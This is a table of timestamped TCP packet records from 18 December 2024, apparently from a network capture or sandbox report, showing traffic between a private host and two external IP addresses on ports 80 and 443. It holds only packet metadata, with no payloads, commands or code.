Dec 18, 2024 21:30:43.140023947 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.140069008 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.140638113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.140650034 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.140660048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.140686989 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.140701056 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.141258001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.141271114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.141309977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.141330004 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.142003059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.142020941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.142046928 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.142066002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.142600060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.142611027 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.142651081 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.142663956 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.143310070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.143326998 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.143368959 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.144005060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.144051075 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.144609928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.144620895 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.144630909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.144706964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.144706964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.145405054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.145451069 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.145967960 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.145986080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.146008015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.146023035 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.146688938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.146729946 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.147388935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.147402048 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.147433043 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.147447109 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.148089886 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.148102045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.148133039 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.148813009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.148825884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.148868084 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.149486065 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.149498940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.149528980 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.150206089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.150217056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.150245905 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.150271893 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.150805950 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.150819063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.150846958 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.150860071 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.151472092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.151489973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.151510954 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.151544094 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.152137041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.152167082 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.152179956 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.152200937 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.152868986 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.152883053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.152909994 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.152923107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.153506041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.153517962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.153551102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.153554916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.153562069 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.153629065 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.154228926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.154242039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.154272079 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.154911041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.154922962 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.154953003 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.155751944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.155788898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.155797005 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.155843973 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.157164097 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.157208920 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.157208920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.157227993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.157248974 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.157277107 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.158222914 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.158235073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.158263922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.158294916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.158739090 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.158751011 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.158797026 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.159296036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.159307957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.159360886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.159360886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.159826994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.159843922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.159867048 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.159882069 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.160389900 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.160403013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.160438061 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.160465002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.160931110 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.160943985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.160964012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.161000967 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.161036968 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.161550999 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.161562920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.161607027 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.162446976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.162465096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.162491083 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.162503004 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.163064003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.163077116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.163115978 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.163501024 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.163542986 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.163548946 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.163557053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.163594961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.164048910 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.164062023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.164094925 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.165014982 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.165028095 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.165052891 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.165086985 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.165502071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.165513992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.165545940 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.165558100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.165988922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.166002035 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.166018009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.166038990 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.166059971 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.166627884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.166670084 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.166672945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.166712046 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.167303085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.167330980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.167372942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.167372942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.168001890 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.168019056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.168047905 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.168060064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.168653965 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.168668032 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.168704033 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.168716908 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.169320107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.169337988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.169348955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.169358969 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.169382095 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.169398069 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.170032978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.170043945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.170084953 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.170728922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.170741081 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.170768976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.170782089 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.171405077 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.171417952 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.171463966 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.172070980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.172084093 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.172130108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.281608105 CET	443	49821	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:43.281944990 CET	443	49821	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:43.282130003 CET	49821	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:43.282536030 CET	49821	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:43.282553911 CET	443	49821	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:43.339468002 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.339529037 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.339646101 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.339658022 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.339689970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.339704037 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.340064049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.340076923 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.340121984 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.340683937 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.340697050 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.340810061 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.341355085 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.341367960 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.341404915 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.341418028 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.341757059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.341769934 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.341804981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.341818094 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.342436075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.342447996 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.342494011 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.342986107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.343004942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.343046904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.343682051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.343694925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.343744040 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.344237089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.344249010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.344281912 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.345000029 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.345021963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.345035076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.345058918 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.345073938 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.345639944 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.345653057 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.345889091 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.346318960 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.346338987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.346379995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.346996069 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.347009897 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.347019911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.347043991 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.347057104 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.347680092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.347723961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.347737074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.347779036 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.348346949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.348360062 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.348390102 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.348404884 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.349028111 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.349047899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.349085093 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.349102974 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.349739075 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.349750996 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.349796057 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.350435019 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.350447893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.350492954 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.351097107 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.351115942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.351126909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.351138115 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.351150990 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.351174116 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.351814032 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.351826906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.351859093 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.351871967 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.352524042 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.352538109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.352583885 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.353164911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.353178978 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.353218079 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.353915930 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.353929043 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.353940010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.353961945 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.353986025 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.354542971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.354562044 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.354594946 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.354609013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.355266094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.355278015 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.355319023 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.355946064 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.355958939 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.355989933 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.356004000 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.356611013 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.356640100 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.356652975 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.356678963 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.357316017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.357328892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.357340097 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.357364893 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.357393026 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.357986927 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.358000040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.358047962 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.358652115 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.358664036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.358701944 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.359375000 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.359386921 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.359436989 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.360107899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.360121012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.360157013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.360833883 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.360846996 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.360857010 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.360898972 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.361396074 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.361414909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.361459017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.362140894 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.362153053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.362196922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.362940073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.362952948 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.362988949 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.363490105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.363502026 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.363512993 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.363548994 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.364193916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.364206076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.364237070 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.364890099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.364902973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.364942074 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.365536928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.365551949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.365586996 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.365602016 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.366358995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.366370916 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.366396904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.366411924 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.366915941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.366929054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.366940022 CET	80	49819	31.41.244.11	192.168.2.5
